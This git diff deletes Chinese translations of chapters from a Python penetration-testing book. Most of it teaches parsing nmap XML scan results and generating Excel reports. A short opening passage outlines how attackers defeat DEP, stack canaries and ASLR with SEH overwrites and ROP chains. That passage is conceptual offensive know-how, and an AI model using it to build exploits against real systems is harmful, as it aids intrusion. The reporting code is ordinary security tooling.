https://github.com/rapid7/metasploit-framework/wiki/Loading-External-Modules](https://github.com/rapid7/metasploit-framework/wiki/Loading-External-Modules) 。 - -# 了解保护机制 - -有整本书专门介绍了管理员和开发人员使用的一些工具,这将防止许多漏洞利用。它们包括诸如**数据执行预防**(**DEP**等项,如果代码和操作系统配置为利用它,这些项将阻止像我们这样的代码工作。这是通过阻止在堆栈上执行数据来实现的。我们可以通过简单地覆盖**结构化异常处理**(**SEH**来绕过 DEP,以运行我们自己的代码。 - -堆栈金丝雀,基本上是堆栈中的数学结构,在调用返回指针时进行检查。如果值已更改,则表示出现了问题,并引发异常。如果攻击者确定防护正在检查的值,则可以将其注入外壳代码以防止出现异常。 - -最后,还有**地址空间层随机化**(**ASLR**),它随机化我们利用的内存中的位置。ASLR 比其他两个更难击败,但它基本上是通过使用共享库的组件在内存中构建漏洞来击败的,这些组件必须保持一致的内存位置。如果没有这些一致的共享库,操作系统将无法最初执行基本流程。这种技术被称为**面向返回的编程**(**ROP**链接。 - -# 总结 - -在本章中,我们概述了 Windows 内存结构以及如何利用糟糕的编码实践。然后,我们重点介绍了如何使用目标测试和概念验证代码,使用 Python 代码生成您自己的漏洞利用。本章接着全面介绍了如何逆转 Metasploit 模块,以创建可用于改进当前模块功能或生成新漏洞的独立漏洞利用。在下一章中,我们将重点介绍如何自动报告渗透测试期间发现的详细信息,以及如何解析**可扩展标记语言**(**XML**。 \ No newline at end of file diff --git a/trans/py-pentest-dev/09.md b/trans/py-pentest-dev/09.md deleted file mode 100644 index 4fadb31..0000000 --- a/trans/py-pentest-dev/09.md +++ /dev/null @@ -1,557 +0,0 @@ -# 第 9 章:用 Python 自动化报告和任务 - -在前面的章节中,我们介绍了大量的信息,这些信息强调了 Python 可以在哪些方面帮助优化技术现场工作。我们甚至展示了一些方法,可以使用 Python 将后续任务从一个流程自动化到另一个流程。每一项都将帮助你更好地将时间花在优先任务上。这一点很重要,因为有三个因素可能会限制渗透测试的成功完成:评估员完成评估的时间、渗透测试范围的限制以及评估员的技能。在本章中,我们将向您展示如何自动化任务,例如解析**可扩展标记语言**(**XML**)以从工具数据生成报告。 - -# 了解如何解析报告的 XML 文件 - -我们将使用`nmap`XMLs 作为示例,展示如何将数据解析为可用格式。我们的最终目标是将数据放在一个具有唯一结果的 Python 字典中。然后,我们可以使用这些数据构建我们认为有用的结构化输出。首先,我们需要一个可以解析和查看的 XML 文件。使用`nmap -oX test 127.0.0.1`命令对本地主机进行`nmap`扫描。 - -这将生成一个使用 XML 标记语言突出显示两个打开端口的文件,如下所示: - -![Understanding how to parse XML files for reports](graphics/B04315_09_01.jpg) - -通过实际的 XML 文件,我们可以查看数据结构的组件。了解 XML 文件是如何设计的,可以更好地为生成读取 XML 文件的代码做好准备。具体来说,这里的描述基于`etree`库将 XML 文件的组件分类为什么。`etree`库在概念上像树一样处理 XML 数据,包含相关的分支、子分支,甚至细枝。用计算机科学的术语来说,我们称之为亲子关系。 - -使用`etree`库,您将把数据加载到变量中。这些变量将在其内部保存复合数据块。这些元素被称为**元素**,可以对其进行进一步剖析以找到有用的信息。例如,如果您将 XML nmap 结构的根加载到一个变量中,然后打印它,您将看到引用和一个标记,该标记描述了其中的元素和数据,如以下屏幕截图所示: - -![Understanding how to parse XML files for reports](graphics/B04315_09_02.jpg) - -### 注 - -有关`etree`库的更多详细信息,请访问[https://docs.python.org/2/library/xml.etree.elementtree.html](https://docs.python.org/2/library/xml.etree.elementtree.html) 。 - -每个元素都可以与其他节点甚至子节点(称为孙子节点)具有父子关系。每个节点都保存我们试图解析的信息。一个节点通常有一个标记,它是它所持有数据的描述,还有一个属性,它是实际数据。为了更好地突出显示这些信息是如何以 XML 表示的,我们捕获了 nmap XML 的一个元素、主机名的节点和一个生成的子节点,如下所示: - -![Understanding how to parse XML files for reports](graphics/B04315_09_03.jpg) - -当您查看 XML 文件时,您可能会注意到在一个元素中可以有多个节点。例如,由于多个引用,一台主机可能有多个不同的主机名用于相同的**互联网协议**(**IP**地址)。因此,要迭代元素的所有节点,需要使用 for 循环来捕获所有可能的数据组件。此数据的解析用于生成输出,输出效果与您拥有的数据样本一样好。 - -这意味着您应该获取多个示例 XML 文件,以获得更好的信息横截面。关键是要获得大多数可能的数据组合。即使样本应该涵盖您将遇到的大多数问题,也会有一些未考虑的示例。所以,如果你的脚本在使用过程中中断,不要泄气。跟踪错误并确定需要调整的内容。 - -对于我们的测试,我们将使用多个`nmap`扫描和我们的 Kali 实例,并将细节输出到 XML 文件。 - -### 提示 - -Python 有一个奇妙的库,称为`libnmap`,可以用来运行和安排扫描,甚至帮助解析输出文件以生成报告。有关的更多详细信息,请访问[https://libnmap.readthedocs.org/en/latest/](https://libnmap.readthedocs.org/en/latest/) 。我们可以使用该库解析输出并生成报告,但该库仅适用于`nmap`。如果您希望解析来自其他工具的其他 XML 输出,以将详细信息添加到更易于管理的格式,则此库将不会帮助您。 - -当我们准备编写解析器时,第一阶段是映射要解析的文件。因此,我们记录下脚本与输出交互的可能方式。映射文件后,我们在整个文件中放置几个`print`语句,以显示脚本停止或中断处理的元素。为了更好地理解每个元素,应该将示例 XML 加载到允许正确查看 XML 的工具中。如果您安装了 XML 工具插件,Notepad++工作得非常好。 - -将文件加载到 Notepad++后,应该将 XML 树向下折叠到其根目录。以下截图显示此树的根为`nmaprun`: - -![Understanding how to parse XML files for reports](graphics/B04315_09_04.jpg) - -展开一次后,将得到许多子节点,这些子节点可以进一步展开和分解。 - -![Understanding how to parse XML files for reports](graphics/B04315_09_05.jpg) - -从这些细节中,我们看到必须将 XML 文件加载到处理程序中,然后遍历主机元素。但是,我们应该考虑这是一个单一的主机,所以只有一个主机元素。因此,我们应该使用`for`循环遍历 host 元素,以捕获在未来迭代中将被扫描的其他主机。 - -当主机元素展开时,我们可以发现地址、主机名、端口和时间都有节点。我们感兴趣的节点是地址、主机名和端口。主机名和端口节点都是可扩展的,这意味着它们可能也需要迭代。 - -### 提示 - -即使只有一个条目,也可以使用 for 循环遍历任何节点。这样可以确保捕获子节点中的所有信息,并防止解析器中断。 - -此屏幕截图突出显示了扩展的 XML 树的细节,以及我们关心的细节: - -![Understanding how to parse XML files for reports](graphics/B04315_09_06.jpg) - -对于地址,我们可以看到有不同的地址类型,如`addrtype`标记突出显示的。在 nmap XML 输出中,您将找到`ipv4`、`ipv6`和`mac`地址。如果您希望在输出中使用不同的地址类型,可以通过使用简单的`if-then`语句提取数据,然后将其加载到相应的变量中来获得它们。如果只想将地址加载到变量中,而不考虑其类型,则必须创建优先顺序。 - -`nmap`工具可能会也可能不会找到每个扫描目标的主机名。这取决于扫描仪试图检索信息的方式。例如,如果启用了**域名服务**(**DNS**请求)或针对本地主机进行扫描,则可能已识别主机名。其他扫描实例可能无法识别实际主机名。我们必须构建脚本,以考虑根据扫描可能提供的不同输出。我们的本地主机扫描(如以下屏幕截图所示)确实提供了主机名,因此我们可以在本例中提取信息: - -![Understanding how to parse XML files for reports](graphics/B04315_09_07.jpg) - -因此,我们决定将主机名和地址加载到变量中。我们将查看`ports`元素,以确定要提取的父节点和子节点数据。树的此区域中的 XML 节点有大量数据,因为它们必须由许多标记和属性表示,如此屏幕截图所示: - -![Understanding how to parse XML files for reports](graphics/B04315_09_08.jpg) - -在查看这些节点的细节时,我们应该考虑什么是我们想要提取的组件 T6。我们知道,我们必须迭代所有的端口,并且我们可以唯一地标识由端口 T0 标签标记的端口,它代表端口号,但是我们必须考虑哪些数据对我们是有用的。端口的协议**传输控制协议****TCP**和**用户数据报协议****UDP**是有用的。此外,港口的状态以及是`open`、`closed`、`filtered`还是`open|filtered`也很重要。最后,可能已确定的服务名称最好在报告中进行分类。 - -### 提示 - -请记住,服务名称可能不准确,具体取决于扫描类型。如果没有服务检测,nmap 将使用 Linux 的`/etc/services`文件中描述的默认端口。因此,如果作为示意图练习的一部分为客户机生成报告,请确保启用某种形式的服务检测。否则,您提供的数据可能会被视为不准确。 - -在查看 XML 文件之后,我们确定,除了地址和主机名之外,我们还将捕获每个端口号、协议、附加到它的服务以及状态。有了这些细节,我们可以考虑如何格式化我们的报告。正如前面的图片所示,来自 nmap XMLs 的数据不是叙述性的格式,因此 Microsoft Word 文档可能不如电子表格那么有用。 - -因此,我们必须考虑数据将在报告中表示的方式:每个主机的行或每个端口的行。每种表述都有好处和权衡。逐行主机表示法意味着复合信息很容易表示,但是如果我们想过滤数据,我们只能过滤关于主机或端口组的唯一信息,而不能过滤单个端口。 - -为了使其更有用,电子表格中的每一行都将代表一个端口,这意味着可以在一行上表示每个端口的详细信息。这可以帮助我们的客户机过滤从 XML 提取的每个项目,包括主机名、地址、端口、服务名称、协议和端口状态。以下屏幕截图显示了我们将努力实现的目标: - -![Understanding how to parse XML files for reports](graphics/B04315_09_09.jpg) - -因为我们正在编写解析器和报告生成器,所以最好创建两个单独的类来处理这些信息。附加的好处是可以实例化 XML 解析器,这意味着我们可以使用解析器运行多个 XML 文件,然后将每个迭代组合成整体和唯一的结果。这对我们极为有利,因为在交战期间,我们通常会进行一次以上的`nmap`扫描,合并结果和消除重复可能是一个相当费力的过程。同样,这是一个理想的例子,脚本可以让我们的生活更轻松。 - -# 了解如何创建 Python 类 - -对于如何生成 Python 类,新的 Python 爱好者有很多误解。Python 处理类和实例变量的方式与许多其他语言略有不同。这不是一件坏事;事实上,一旦您习惯了该语言的工作方式,您就可以开始理解类定义方式的原因了。 - -如果您在 Internet 上搜索 Python 和 self 主题,您将发现关于 Python 类中非静态函数开头的定义变量的使用的广泛意见,您将看到关于它的广泛意见。这些问题包括为什么它是一个让生活更轻松的伟大概念,以及它很难处理并使创建多线程脚本成为一件烦琐的事情。通常,困惑源于从另一种语言转向 Python 的开发人员。无论您将站在哪一边,本章中提供的示例都是构建 Python 类的一种方法。 - -### 注 - -在下一章中,我们将重点介绍脚本的多线程处理,这需要对 Python 类如何工作有一个基本的了解。 - -Python 的创建者 Guido van Rossum 在一篇博客文章中回应了一些与 self 相关的批评,该文章可在[上找到 http://neopythonic.blogspot.com/2008/10/why-explicit-self-has-to-stay.html](http://neopythonic.blogspot.com/2008/10/why-explicit-self-has-to-stay.html) 。帮助您专注于[的这一部分 https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers](https://github.com/PacktPublishing/Python-Penetration-Testing-for-Developers) ,Python 类、导入和对象的广泛定义将不再重复,因为它们已经定义得很好。如果您想了解有关 Python 类的更多详细信息,请访问[http://learnpythonthehardway.org/book](http://learnpythonthehardway.org/book) 。具体来说,练习 40 到 44 很好地解释了关于类和面向对象原则的“Pythonic”概念,其中包括继承和组合。 - -之前,我们描述了如何为 Pythonic 类编写命名约定,因此在此不再重复。相反,我们将重点关注脚本中需要的几个项目。首先,我们将定义我们的类和我们的第一个函数`__init__`函数。 - -`__init__`函数是类实例化期间使用的函数。这意味着调用一个类来创建一个对象,该对象可以作为变量通过正在运行的脚本引用。`__init__`函数帮助定义该对象的初始细节,它基本上充当 Python 类的构造函数。为了更好地理解这一点,`__del__`函数正好相反,因为它是 Python 中的析构函数。 - -如果函数要使用实例的详细信息,则传递的第一个参数必须是一致的变量,通常称为`self`。如果你愿意,你可以叫它别的名字,但那不是蟒蛇。如果函数没有此变量,则不能在该函数中直接使用实例化的值。`__init__`函数中`self`变量后面的所有值都是在实例化过程中直接传递给类的值。其他语言通过隐藏参数传递这些值;Python 使用`self`实现这一点。现在您已经了解了 Python 脚本的基本知识,我们可以开始构建解析脚本了。 - -## 创建 Python 脚本解析 Nmap XML - -我们为这个示例定义的类本质上非常简单。它只有三个函数:`__init__`,一个处理传递数据的函数,最后一个返回处理数据的函数。我们将设置该类以接受 nmap XML 文件和详细级别,如果没有传递任何内容,则默认为`0`。以下是 nmap 解析器的实际类和`__init__`函数的定义: - -``` -class Nmap_parser: - def __init__(self, nmap_xml, verbose=0): - self.nmap_xml = nmap_xml - self.verbose = verbose - self.hosts = {} - try: - self.run() - except Exception, e: - print("[!] There was an error %s") % (str(e)) - sys.exit(1) -``` - -现在,我们将定义一个函数,它将为这个类完成工作。您会注意到,我们不需要在函数中传递任何变量,因为它们包含在`self`中。在较大的脚本中,我个人会在函数的开头添加注释,以解释正在执行的操作。这样,几年后,当我不得不在它们中添加更多功能时,我就不必浪费时间破译数百行代码。 - -### 注 - -与前面的章节一样,完整脚本可以在 GitHub 页面的[上找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_parser.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_parser.py) 。 - -运行函数测试以确保它可以打开 XML 文件,然后使用`etree`库的`parse`函数将其加载到变量中。然后,该函数定义初始必需变量并获取 XML 树的根: - -``` -def run(self): - if not self.nmap_xml: - sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml)) - try: - tree = etree.parse(self.nmap_xml) - except: - sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml)) - hosts={} - services=[] - hostname_list=[] - root = tree.getroot() - hostname_node = None - if self.verbose> 0: - print ("[*] Parsing the Nmap XML file: %s") % (self.nmap_xml) -``` - -接下来,我们构建一个`for`循环,该循环迭代每个主机,最初将每个循环的主机名定义为`Unknown hostname`。这样做是为了防止一台主机的主机名被另一台主机记录。在尝试检索地址之前,对地址进行类似的消隐。您可以在下面的代码中看到嵌套的`for`循环在主机地址节点中迭代。 - -每个`addrtype`标记的每个属性都加载到`temp`变量中。然后测试该值以查看将提取的地址类型。接下来,将`addr`标记的属性加载到适合其地址类型的变量中,例如`hwaddress`、针对**互联网协议版本 4(IPv4)**、针对**IP 版本 6(IPv6)**的`address`: - -``` -for host in root.iter('host'): - hostname = "Unknown hostname" - for addresses in host.iter('address'): - hwaddress = "No MAC Address ID'd" - ipv4 = "No IPv4 Address ID'd" - addressv6 = "No IPv6 Address ID'd" - temp = addresses.get('addrtype') - if "mac" in temp: - hwaddress = addresses.get('addr') - if self.verbose> 2: - print("[*] The host was on the same broadcast domain") - if "ipv4" in temp: - address = addresses.get('addr') - if self.verbose> 2: - print("[*] The host had an IPv4 address") - if "ipv6" in temp: - addressv6 = addresses.get('addr') - if self.verbose> 2: - print("[*] The host had an IPv6 address") -``` - -对于主机名,我们做了一些稍微不同的事情。我们本可以创建另一个`for`循环来尝试识别每个主机的所有可用主机名,但大多数扫描只有一个或没有主机名。为了展示从 XML 文件中获取数据的另一种方式,您可以看到,`hostname`节点通过首先识别父元素`hostnames`,然后识别子元素`hostname`加载到适当命名的变量中。如果脚本没有找到`hostname`,我们再次将变量设置为`Unknown hostname`: - -### 注 - -这个脚本是作为一个教学概念建立的,但我们也希望为将来的变化做好准备,如果必要的话。记住这一点,如果我们希望以后将提取主机名直接节点提取的方式更改为`for`循环,我们可以。这是在脚本中准备的,方法是在下一个代码部分之前将已识别的主机名加载到主机名列表中。通常,我们提取主机名的方式不需要这样做。在这里为将来的更改准备脚本要比在代码的其余部分返回并更改与加载属性相关的所有内容更容易。 - -``` - try: - hostname_node = host.find('hostnames').find('hostname') - except: - if self.verbose > 1: - print ("[!] No hostname found") - if hostname_node is not None: - hostname = hostname_node.get('name') - else: - hostname = "Unknown hostname" - if self.verbose > 1: - print("[*] The hosts hostname is %s") % (str(hostname_node)) - hostname_list.append(hostname)+-- -``` - -现在我们已经捕获了如何识别主机名,我们将尝试捕获每个主机的所有端口。我们通过迭代所有的`port`节点并将它们加载到 item 变量中来实现这一点。接下来,我们从节点中提取`state`、`servicename`、`protocol`和`portid`的属性。然后,将这些值加载到`services`列表中: - -``` - for item in host.iter('port'): - state = item.find('state').get('state') - #if state.lower() == 'open': - service = item.find('service').get('name') - protocol = item.get('protocol') - port = item.get('portid') - services.append([hostname_list, address, protocol, port, service, hwaddress, state]) -``` - -现在,有一个值列表,其中包含每个主机的所有服务。我们打算把它编成一本词典,以便参考。因此,我们生成一个`for`循环,该循环遍历列表的长度,将每个`services`值重新加载到一个临时变量中,然后使用迭代的值作为键将其加载到实例的`self.hosts`字典中: - -``` - hostname_list=[] - for i in range(0, len(services)): - service = services[i] - index = len(service) - 1 - hostname = str1 = ''.join(service[0]) - address = service[1] - protocol = service[2] - port = service[3] - serv_name = service[4] - hwaddress = service[5] - state = service[6] - self.hosts[i] = [hostname, address, protocol, port, serv_name, hwaddress, state] - if self.verbose > 2: - print ("[+] Adding %s with an IP of %s:%s with the service %s")%(hostname,address,port,serv_name) -``` - -在这个函数的末尾,我们添加了一个简单的测试用例来验证数据是否被发现,并且如果详细程度被调低,它可以被显示出来: - -``` - if self.hosts: - if self.verbose > 4: - print ("[*] Results from NMAP XML import: ") - for key, entry in self.hosts.iteritems(): - print("[*] %s") % (str(entry)) - if self.verbose > 0: - print ("[+] Parsed and imported unique ports %s") % (str(i+1)) - else: - if self.verbose > 0: - print ("[-] No ports were discovered in the NMAP XML file") -``` - -主处理函数完成后,下一步是创建一个可以返回特定实例`hosts`数据的函数。调用此函数时,只返回`self.hosts`的值: - -``` - def hosts_return(self): - # A controlled return method - # Input: None - # Returned: The processed hosts - try: - return self.hosts - except Exception as e: - print("[!] There was an error returning the data %s") % (e) -``` - -我们已经通过参数和选项反复展示了的基本变量值设置,为了节省空间,`nmap_parser.py`脚本中的这段代码的细节在此不再赘述;他们可以在网上找到。相反,我们将展示如何通过类实例处理多个 XML 文件。 - -一开始很简单。我们测试由参数加载的 XML 文件在变量`xml`中是否有逗号。如果他们这样做了,则意味着用户提供了一个逗号分隔的要处理的 XML 文件列表。因此,我们将按逗号分割,并将值加载到`xml_list`中进行处理。然后,我们将测试每个 XML 文件,并通过将 XML 文件加载到带有`etree.parse`的变量中,获取文件的根,然后检查`scanner`标记的属性值来验证它是否为`nmap`XML 文件。 - -如果我们得到`nmap`,我们就知道该文件是一个 nmap XML。如果没有,我们将退出脚本并显示相应的错误消息。如果没有错误,我们调用`Nmap_parser`类并将其实例化为具有当前 XML 文件和详细级别的对象。然后,我们将其附加到一个列表中。因此,基本上,XML 文件被传递到`Nmap_parser`类,对象本身存储在 hosts 列表中。这使我们能够轻松地处理多个 XML 文件并存储对象,以便在必要时进行后续操作: - -``` - if "," in xml: - xml_list = xml.split(',') - else: - xml_list.append(xml) - for x in xml_list: - try: - tree_temp = etree.parse(x) - except: - sys.exit("[!] Cannot open XML file: %s \n[-] Ensure that your are passing the correct file and format" % (x)) - try: - root = tree_temp.getroot() - name = root.get("scanner") - if name is not None and "nmap" in name: - if verbose > 1: - print ("[*] File being processed is an NMAP XML") - hosts.append(Nmap_parser(x, verbose)) - else: - print("[!] File % is not an NMAP XML") % (str(x)) - sys.exit(1) - except Exception, e: - print("[!] Processing of file %s failed %s") % (str(x), str(e)) - sys.exit(1) -``` - -加载到字典中的每个实例的数据可能中都有重复的信息。试想一下在渗透测试中会是什么样子;当您扫描特定的弱点时,您通常会查看相同的 IP 地址。每次运行扫描时,您可能会发现相同的端口和服务以及相关状态。为了使数据标准化,需要对其进行组合,并消除重复数据。 - -当然,当处理典型的内部 IP 地址或**征求意见**(**RFC**)1918 地址时,`10.0.0.1`地址可能位于许多不同的内部网络中。因此,如果使用此脚本来组合来自多个网络的结果,则可能会组合实际不重复的结果。在实际执行脚本时,请记住这一点。 - -现在,我们用`for`循环中的每个数据实例加载一个临时变量。这将创建字典中所有值的`count`,并反过来将其用作每个值集的参考。一个名为`hosts_dict`的新字典用于存储此数据: - -``` - if not hosts: - sys.exit("[!] There was an issue processing the data") - for inst in hosts: - hosts_temp = inst.hosts_return() - if hosts_temp is not None: - for k, v in hosts_temp.iteritems(): - hosts_dict[count] = v - count+=1 - hosts_temp.clear() -``` - -现在我们有了一个字典,其中的数据按简单引用排序,我们可以使用它来消除重复项。我们现在要做的是迭代新形成的字典,并在元组中创建键值对。然后将每个元组加载到列表中,以便对数据进行排序。 - -我们再次遍历列表,它将元组中存储的两个值分解为一个新的键值对。从功能上讲,我们正在操纵通常在 Python 数据结构中存储数据的方式,以便轻松删除重复项。 - -然后,我们直接比较当前值,即端口数据列表和`processed_hosts`字典值。这是新的和最终的字典,其中包含从所有 XML 文件中发现的经过验证的唯一值。 - -### 注 - -此端口数据列表作为嵌套在`temp`列表中的元组中的第二个值存储。 - -如果在`processed_hosts`字典中已经找到一个值,我们将继续使用`continue`循环,而不将细节加载到字典中。如果该值不在字典中,我们将使用新计数器`key`将其添加到字典中: - -``` - if verbose > 3: - for key, value in hosts_dict.iteritems(): - print("[*] Key: %s Value: %s") % (key,value) - temp = [(k, hosts_dict[k]) for k in hosts_dict] - temp.sort() - key = 0 - for k, v in temp: - compare = lambda x, y: collections.Counter(x) == collections.Counter(y) - if str(v) in str(processed_hosts.values()): - continue - else: - key+=1 - processed_hosts[key] = v -``` - -现在,我们测试并确保数据在新的数据结构中正确排序和显示: - -``` - if verbose > 0: - for key, target in processed_hosts.iteritems(): - print("[*] Hostname: %s IP: %s Protocol: %s Port: %s Service: %s State: %s MAC address: %s" % (target[0],target[1],target[2],target[3],target[4],target[6],target[5])) -``` - -运行脚本会产生以下结果,这表明我们成功地提取了数据并将其格式化为有用的结构: - -![Creating a Python script to parse an Nmap XML](graphics/B04315_09_10.jpg) - -现在,我们可以注释输出数据的循环,并使用我们的数据结构创建 Excel 电子表格。为此,我们将创建自己的本地模块,然后可以在这个脚本中使用它。将调用该脚本以生成 Excel 电子表格。要做到这一点,我们需要知道我们将要使用的名称,以及我们希望如何引用它。然后,我们在 Python 模块的`nmap_parser.py`顶部创建相关的`import`语句,我们称之为`nmap_doc_generator.py`: - -``` -try: - import nmap_doc_generator as gen -except Exception as e: - print(e) - sys.exit("[!] Please download the nmap_doc_generator.py script") -``` - -接下来,我们用以下代码替换`nmap_parser.py`脚本底部的字典打印: - -``` -gen.Nmap_doc_generator(verbose, processed_hosts, filename, simple) -``` - -简单标志被添加到选项列表中,以允许电子表格以不同格式输出,如果您愿意的话。该工具可用于实际渗透测试和最终报告。对于哪种输出更容易阅读,哪种颜色适合他们工作的任何组织的报告品牌,每个人都有自己的偏好。 - -## 创建 Python 脚本生成 Excel 电子表格 - -现在我们创建新的模块。可以将导入`nmap_parser.py`脚本。脚本非常简单,感谢`xlsxwriter`库,我们可以使用`pip`再次安装该库。以下代码通过设置必要的库来生成脚本,以便生成 Excel 电子表格: - -``` -import sys -try: - import xlsxwriter -except: - sys.exit("[!] Install the xlsx writer library as root or through sudo: pip install xlsxwriter") -``` - -接下来,我们为`Nmap_doc_generator`创建类和构造函数: - -``` -class Nmap_doc_generator(): - def __init__(self, verbose, hosts_dict, filename, simple): - self.hosts_dict = hosts_dict - self.filename = filename - self.verbose = verbose - self.simple = simple - try: - self.run() - except Exception as e: - print(e) -``` - -然后我们创建将为实例执行的函数。从该函数执行一个名为`generate_xlsx`的辅助函数。此函数是以这种方式创建的,以便我们将来可以将此模块用于其他报告类型(如果需要)。我们所要做的就是创建额外的函数,当`nmap_parser.py`脚本运行时,可以使用提供的选项调用这些函数。但是,这超出了本例的范围,`run`函数的范围如下: - -``` - def run(self): - # Run the appropriate module - if self.verbose > 0: - print ("[*] Building %s.xlsx") % (self.filename) - self.generate_xlsx() -``` - -我们定义的下一个函数是`generate_xlsx`,它包含生成 Excel 电子表格所需的所有功能。我们需要做的第一件事是定义实际的工作簿、工作表以及其中的格式。我们首先设置实际的文件扩展名(如果不存在): - -``` - def generate_xlsx(self): - if "xls" or "xlsx" not in self.filename: - self.filename = self.filename + ".xlsx" - workbook = xlsxwriter.Workbook(self.filename) -``` - -然后我们开始创建实际的行格式,从标题行开始。根据是否设置了简单标志,我们将其突出显示为一个粗体行,带有两种不同的可能颜色: - -``` - # Row one formatting - format1 = workbook.add_format({'bold': True}) - # Header color - # Find colors: http://www.w3schools.com/tags/ref_colorpicker.asp - if self.simple: - format1.set_bg_color('#538DD5') - else: - format1.set_bg_color('#33CC33') # Report Format -``` - -### 注 - -您可以使用类似 Microsoft 的颜色选择工具在电子表格中识别所需的实际颜色编号。可在[找到 http://www.w3schools.com/tags/ref_colorpicker.asp](http://www.w3schools.com/tags/ref_colorpicker.asp) 。 - -由于我们希望将其配置为电子表格,以便它可以具有交替的颜色,因此我们将设置两个额外的格式配置。与前面的格式化配置一样,这将保存为变量,可以根据行是偶数还是奇数轻松引用。偶数行将为白色,因为标题行具有颜色填充,而奇数行具有颜色填充。因此,当`simple`变量被设置时,我们将改变奇数行的颜色。以下代码突出显示了此逻辑结构: - -``` - # Even row formatting - format2 = workbook.add_format({'text_wrap': True}) - format2.set_align('left') - format2.set_align('top') - format2.set_border(1) - # Odd row formatting - format3 = workbook.add_format({'text_wrap': True}) - format3.set_align('left') - format3.set_align('top') - # Row color - if self.simple: - format3.set_bg_color('#C5D9F1') - else: - format3.set_bg_color('#99FF33') # Report Format - format3.set_border(1) -``` - -定义了格式后,我们现在必须设置列宽和标题,这些将在电子表格的其余部分中使用。这里有一些尝试和错误,因为列宽应该足够宽,以容纳将在电子表格中填充的数据,并正确地表示标题,而不必在屏幕上进行不必要的缩放。通过范围、起始列号、结束列号以及列宽的大小来定义列宽。这三个逗号分隔的值放在`set_column`函数参数中: - -``` - if self.verbose > 0: - print ("[*] Creating Workbook: %s") % (self.filename) - # Generate Worksheet 1 - worksheet = workbook.add_worksheet("All Ports") - # Column width for worksheet 1 - worksheet.set_column(0, 0, 20) - worksheet.set_column(1, 1, 17) - worksheet.set_column(2, 2, 22) - worksheet.set_column(3, 3, 8) - worksheet.set_column(4, 4, 26) - worksheet.set_column(5, 5, 13) - worksheet.set_column(6, 6, 12) -``` - -定义列后,设置行和列的起始位置,填充标题行,并使其中的数据可过滤。想想看,查找具有开放 JBoss 端口的主机有多有用,或者如果客户端想知道已被外围防火墙成功过滤的端口有多有用: - -``` - # Define starting location for Worksheet one - row = 1 - col = 0 - # Generate Row 1 for worksheet one - worksheet.write('A1', "Hostname", format1) - worksheet.write('B1', "Address", format1) - worksheet.write('C1', "Hardware Address", format1) - worksheet.write('D1', "Port", format1) - worksheet.write('E1', "Service Name", format1) - worksheet.write('F1', "Protocol", format1) - worksheet.write('G1', "Port State", format1) - worksheet.autofilter('A1:G1') -``` - -因此,定义了格式,我们就可以开始用相关数据填充电子表格了。为此,我们创建一个`for`循环来填充`key`和`value`变量。在此报表生成实例中,键对电子表格不有用,因为其中的任何数据都不用于生成电子表格。另一方面,`value`变量包含来自`nmap_parser.py`脚本的结果列表。因此,我们在位置变量中填充六个相关的值表示: - -``` - # Populate Worksheet 1 - for key, value in self.hosts_dict.items(): - try: - hostname = value[0] - address = value[1] - protocol = value[2] - port = value[3] - service_name = value[4] - hwaddress = value[5] - state = value[6] - except: - if self.verbose > 3: - print("[!] An error occurred parsing host ID: %s for Worksheet 1") % (key) -``` - -在每次迭代结束时,我们将增加行计数器。否则,如果我们在开始时这样做,我们将在数据行之间写入空行。要开始处理,我们需要确定行是偶数还是奇数,因为这会更改格式,如前所述。最简单的方法是使用模运算符或`%`,它将左操作数除以右操作数并返回余数。 - -如果没有余数,我们知道它是偶数,因此,行也是偶数。否则,行是奇数的,我们需要使用必要的格式。我们不再两次写入整个函数行写入操作,而是再次使用一个临时变量来保存当前行格式,称为`temp_format`,如下所示: - -``` - print("[!] An error occurred parsing host ID: %s for Worksheet 1") % (key) - try: - if row % 2 != 0: - temp_format = format2 - else: - temp_format = format3 -``` - -现在,我们可以从左向右写入数据。数据的每个组成部分进入下一列,这意味着我们每次向行写入数据时,都会取`0`的列值并向其添加`1`。这使我们能够轻松地从左到右跨越电子表格,而无需操纵多个值: - -``` - worksheet.write(row, col, hostname, temp_format) - worksheet.write(row, col + 1, address, temp_format) - worksheet.write(row, col + 2, hwaddress, temp_format) - worksheet.write(row, col + 3, port, temp_format) - worksheet.write(row, col + 4, service_name, temp_format) - worksheet.write(row, col + 5, protocol, temp_format) - worksheet.write(row, col + 6, state, temp_format) - row += 1 - except: - if self.verbose > 3: - print("[!] An error occurred writing data for Worksheet 1") -``` - -最后,关闭将文件写入当前工作目录的工作簿: - -``` - try: - workbook.close() - except: - sys.exit("[!] Permission to write to the file or location provided was denied") -``` - -所有必要的脚本组件和模块都已创建,这意味着我们可以从`nmap`XML 输出生成 Excel 电子表格。在`nmap_parser.py`脚本的参数中,我们将默认文件名设置为`xml_output`,但我们可以根据需要传递其他值。以下是`nmap_parser.py`脚本帮助下的输出: - -![Creating a Python script to generate Excel spreadsheets](graphics/B04315_09_11.jpg) - -有了这些详细信息,我们现在可以针对我们创建的四个不同的`nmap`扫描 XML 执行脚本,如以下屏幕截图所示: - -![Creating a Python script to generate Excel spreadsheets](graphics/B04315_09_12.jpg) - -脚本的输出是这个 Excel 电子表格: - -![Creating a Python script to generate Excel spreadsheets](graphics/B04315_09_13.jpg) - -相反,如果我们设置 simple 标志并创建一个具有不同文件名的新电子表格,则会得到以下输出: - -![Creating a Python script to generate Excel spreadsheets](graphics/B04315_09_14.jpg) - -这将创建新的电子表格`xml_output2.xlsx`,其格式为,如下所示: - -![Creating a Python script to generate Excel spreadsheets](graphics/B04315_09_15.jpg) - -### 注 - -此模块的代码可在[中找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_doc_generator.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_doc_generator.py) 。 - -# 总结 - -解析 NMAP XML 是非常有用的,但是考虑一下这种能力对于读取和组织其他安全工具输出有多大的帮助。我们向您展示了如何创建 Python 类、解析 XML 结构和生成唯一的数据集。在这一切结束时,我们能够创建一个 Excel 电子表格,它可以以可过滤的格式表示数据。在下一章中,我们将重点介绍如何将多线程功能和持久性添加到 Python 脚本中。 \ No newline at end of file diff --git a/trans/py-pentest-dev/10.md b/trans/py-pentest-dev/10.md deleted file mode 100644 index 